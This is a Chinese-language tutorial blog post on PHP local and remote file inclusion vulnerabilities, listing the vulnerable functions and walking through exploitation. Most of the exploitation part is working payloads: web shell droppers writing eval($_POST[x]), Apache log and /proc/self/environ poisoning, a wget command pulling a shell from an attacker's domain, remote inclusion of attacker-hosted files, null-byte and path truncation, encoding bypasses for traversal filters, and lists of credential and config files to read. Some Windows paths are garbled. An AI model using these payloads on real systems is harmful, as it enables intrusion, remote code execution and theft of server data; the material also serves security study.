zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    1、漏洞原理

    主要在PHP中产生比较多,本文详细介绍PHP的包含漏洞

    PHP中包含其他文件的函数有这些,在做代码审计需要用到和记住

    include() //当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
    include_once() //功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
    require()//只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
    require_once()//的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
    fopen()//打开指定的某个文件
    readfile()//读取指定的文件

    2、分类

    1. 本地文件包含 LFI(Local File Include)
    
    2. 远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)

    3、漏洞利用

    本地包含漏洞案例(LFI)

    新建一个phpinfo.txt,然后新建一个shell.php,写入:
    
    <?php
        Include("phpinfo.txt");
    ?>
    访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

    本地包含漏洞利用

    3.1 读取敏感信息

    比如:
    
    http://www.xxx.com/index.php?page=/etc/passwd
    Windows:
    
    c:oot.ini
    c:windowssystems32inetsrvMetaBase.xml
    c:windows
    epairsam
    c:windowsphp.ini             php配置文件
    c:windowsmy.ini               mysql配置文件
    LINUX:
    
    /etc/passwd
    /usr/local/app/apache2/conf/http.conf
    /usr/local/app/php5/lib/php.ini          PHP相关设置
    /etc/httpd/conf/http.conf                    apache配置文件
    /etc/my.cnf                                              mysql配置文件
    目录遍历
    比如:
    
    http://www.xxx.com/index.php?page=./../../test.txt
    
    ./ 当前目录 ../ 上一级目录,这样的遍历目录来读取文件

    3.2 文件上传拿shell

    上传一个图片木马a.jpg,内容为:
    
    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>
    访问URL:
    
    http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

    3.3 配合apache日志拿shell

    apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:
    
    http://www.xxx.com/<?php eval([$_POST]);?>
    则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。默认
    情况下,日志保存路径在 /var/log/apache2/。 利用条件:需要知道服务器日志的存储路径,且日志文件可读。 提交如下请求,将 payload 插入日志 可以尝试利用 UA 插入 payload 到日志文件 默认日志地址: apache+Linux 日志默认路径 /etc/httpd/logs/access_log 或者 /var/log/httpd/access log apache+win2003 日志默认路径 D:/xampp/apache/logs/access.log D:/xampp/apache/logs/error.log IIS6.0+win2003 默认日志文件 C:/WINDOWS/system32/Logfiles IIS7.0+win2003 默认日志文件 %SystemDrive%/inetpub/logs/LogFiles nginx 日志文件在用户安装目录的 logs 目录下 如安装目录为 /usr/local/nginx,则日志目录就是在 /usr/local/nginx/logs 也可通过其配置文件 Nginx.conf,获取到日志的存在路径 /opt/nginx/logs/access.log web 中间件默认配置地址 apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf 或者 index.php?page=/etc/init.d/httpd IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml IIS7.0+WIN 配置文件 C:/Windows/System32/inetsrv/config/application/Host.config

    3.4 利用/proc/self/environ进行包含

    利用条件:
    
    1. php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
    2. environ 文件存储位置已知,且 environ 文件可读。
    proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可
    
    比如:
    
    http://www.test.com/view.php?page=../../../../proc/self/environ
    路径不知道试一试
    http://www.test.com/view.php?page=../../../../../../../proc/self/environ
    选择 User-Agent 写代码如下:
    
    <?system('wget http://www.你的域名.com/oneword.txt -O shell.php');?>
    这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

    3.5 截断包含

    有些开发者为了防止本地包含漏洞,会编写一下代码:
    
    <?php
        Include  $_GET['page'].".php"
    ?>
    (一)00截断包含
    
    新建1.jpg:
    
    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>
    这样的话比如上传一个1.jpg图片马,则访问
    
    http://www.xxx.com/1.jpg
    其实这个时候访问的是1.jgp.php,因为没有这个文件所以报错。这是,可以尝试访问
    
    http://www.xxx.com/1.jpg%00
    新建a.txt:
    
    <?php
    include($_GET['a'].'.php')
    ?> 
    上传我们的 2.txt 文件,请求
    
    http://localhost/test/1.php?a=2.txt%00
    即可执行 2.txt 中 phpinfo 的代码
    
    (二)使用长目录截断
    
    ?page=././././././././././././././etc/passwd
    或者
    ?page=////////////////////////////etc/passwd
    或者
    ?page=../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
    或者
    ?page=../../../../../../../../../var/www/%00
    服务器端常常会对于 ../ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。
    
    利用 url 编码:
    
    ../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
    
    .. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
    二次编码:
    
    ../ -》 %252e%252e%252f
    
    .. -》 %252e%252e%255c
    在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

    远程包含漏洞案例

    新建php.txt:
    
    <?php
           echo "hello world";
    ?>
    新建index.php:
    
    <?php
        Include($_GET['page']);
    ?>
    随后访问
    
    http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。
    远程包含漏洞利用

    远程包含shell

    新建test.txt文件,保存在你自己远程服务器上,内容如下:
    
    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>
    如果目标网站存在远程包含漏洞,则可以通过访问:
    
    http://www.xxx1.com/index.php?page=http://www.你的域名.com/test.txt则会在服务器根目录下生产一个shell.php内容为:
    
        <?php   eval($_POST[x]);?>

    利用php协议进行包含

    漏洞应用条件:
    
    data:  php5.2以后版本
    php://input  需要开启allow_url_include
    poc:
    
    http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00
  • 相关阅读:
    分享一个动态生成RDLC报表的类
    第一次写这么长的js
    [SpringCloud]Gateway入门
    [SpringCloud]Hystrix
    [SpringCloud]Eureka+OpenFeign
    [Java]Socket API编写一个简单的私聊和群聊
    JVM内存分区和各分区溢出测试
    使用Python操作neo4j和画柱状图
    JDK1.8 HashMap为什么在链表长度为8的时候转红黑树,为啥不能是9是10?
    Redis过期策略
  • 原文地址:https://www.cnblogs.com/zyh0430/p/11203001.html
Copyright © 2011-2022 走看看